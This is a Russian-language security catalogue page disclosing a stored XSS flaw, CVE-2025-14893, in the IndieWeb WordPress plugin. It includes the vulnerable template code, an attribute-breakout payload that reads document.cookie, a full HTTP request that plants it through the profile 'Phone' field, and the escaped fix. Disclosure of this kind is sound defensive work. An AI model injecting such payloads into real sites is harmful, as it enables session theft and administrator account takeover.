Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2025-14893 — Авторизованное сохранённое межсайтовое выполнение сценариев (XSS) в плагине IndieWeb для WordPress | Kitploit
Инструменты/GitHubGitHub/d3kc4rt1/cve-2025-14893
Анализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийТестирование на ПроникновениеСтатьи и ИсследованияОбучение и Образование
GitHubd3kc4rt1/cve-2025-14893

CVE-2025-14893

Авторизованное сохранённое межсайтовое выполнение сценариев (XSS) в плагине IndieWeb для WordPress

Репозиторий
15 месяцев назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

CVE-2025-14893: Межсайтовый скриптинг (XSS) с сохранением в плагине IndieWeb для WordPress

Отказ от ответственности: Этот репозиторий создан исключительно в образовательных целях и для этичного раскрытия. Уязвимость была ответственно сообщена вендору и исправлена. Не используйте эту информацию для эксплуатации систем без надлежащего разрешения.

Краткое описание

В плагине IndieWeb для WordPress (версии <= 4.0.5) обнаружена уязвимость межсайтового скриптинга (XSS) с сохранением. Эта уязвимость позволяет аутентифицированным атакующим с правами Автора или выше внедрить вредоносный JavaScript в поле «Телефон» своего профиля пользователя.

Когда виджет «H-Card профиля автора» отображается на фронтенде, внедрённый скрипт выводится без надлежащей санитизации. Если пользователь с высокими привилегиями, например администратор, щёлкает по манипулированной ссылке, скрипт выполняется в контексте его браузера. Это может привести к перехвату сессии, несанкционированным административным действиям и полному захвату учетной записи (ATO).

Обзор уязвимости

  • CVE ID: CVE-2025-14893
  • Продукт: IndieWeb (плагин WordPress)
  • Затронутые версии: <= 4.0.5
  • Тип уязвимости: Межсайтовый скриптинг (XSS) с сохранением (CWE-79)
  • Требуемые привилегии: Аутентифицированный (уровень Автора и выше)
  • Технические детали и первопричина

    Основная проблема заключается в небезопасной обработке метаданных пользователя в системе шаблонов плагина, а именно в отсутствии использования встроенных функций экранирования WordPress.

    Уязвимый файл: templates/h-card.php (строка 27)

    root@kitploit:~
    <a class="p-tel tel" href="tel:<?php echo $user->get( 'tel' ); ?>"><?php echo $user->get( 'tel' ); ?></a>
    

    Ошибка: Плагин напрямую выводит метаданные tel пользователя внутри HTML-атрибута href с помощью echo, не оборачивая их в esc_attr(). Это позволяет атакующему предоставить сконструированную строку, которая содержит двойную кавычку ("), чтобы преждевременно закрыть атрибут href, после чего следуют произвольные HTML-атрибуты (например, style или onclick).

    Влияние на бизнес

    • Захват учётной записи (ATO): Если администратор взаимодействует с манипулированным элементом, JavaScript атакующего может украсть куки сессии или выполнить административные AJAX-запросы, предоставив атакующему полный контроль над сайтом WordPress.
    • Ущерб репутации: Атакующий может изменить видимые элементы страницы (дефейс) или перенаправить легитимных посетителей на вредоносные сторонние сайты.

    Подтверждение концепции (PoC)

    Предварительные требования

    1. WordPress установлен с активированным IndieWeb <= 4.0.5.
    2. Учётная запись атакующего с ролью Автор.
    3. Виджет «H-Card профиля автора» добавлен в видимую область фронтенда (например, боковая панель).

    Шаги эксплуатации

    1. Войдите в панель управления WordPress как Автор.
    2. Перейдите в Профиль (/wp-admin/profile.php).
    3. Прокрутите вниз до поля Телефон.
    4. Внедрите следующий payload (который выходит из атрибута href):
      root@kitploit:~
      Click_Me" style="background:#ff4444; color:white; padding:5px; display:inline-block;" onclick="alert(document.cookie);
      
    5. Нажмите Обновить профиль.
    6. Ключевой шаг: Создайте и опубликуйте новую запись. Уязвимый виджет отображается только на страницах отдельных записей (is_single()) для отображения информации об авторе.
    7. Активация: Когда администратор посещает опубликованную запись на фронтенде и щёлкает по новой стилизованной кнопке «Click_Me», выполняется XSS-пейлоад (выводящий куки сессии).

    Пример вредоносного HTTP-запроса (обновление профиля)

    root@kitploit:~
    POST /wp-admin/profile.php HTTP/1.1
    Host: TARGET
    Content-Type: application/x-www-form-urlencoded
    Cookie: [Author_Session_Cookies]
    
    _wpnonce=[valid_nonce]&_wp_http_referer=%2Fwp-admin%2Fprofile.php&from=profile&checkuser_id=2&color-nonce=[nonce]&admin_color=fresh&admin_bar_front=1&first_name=&last_name=&nickname=attacker&display_name=attacker&email=attacker%40example.com&tel=Click_Me"%20style%3D"background%3A%23ff4444%3B%20color%3Awhite%3B%20padding%3A5px%3B%20display%3Ainline-block%3B"%20onclick%3D"alert(document.cookie)%3B&action=update&user_id=2&submit=Update+Profile
    

    Устранение

    Для исправления уязвимости разработчики плагина должны правильно экранировать вывод с помощью функций WordPress esc_attr() и esc_html().

    Пример исправленного кода:

    root@kitploit:~
    <a class="p-tel tel" href="tel:<?php echo esc_attr( $user->get( 'tel' ) ); ?>"><?php echo esc_html( $user->get( 'tel' ) ); ?></a>
    

    Временная шкала

    • Дата (2026-03-03): Сообщено Wordfence.
    • Дата (2026-03-20): Уязвимость исправлена / публичное раскрытие.

    Ссылки и благодарности

    • База данных уязвимостей Wordfence
    • CVE-2025-14893 на NVD
    • Плагин IndieWeb на WordPress.org
    Скачать инструмент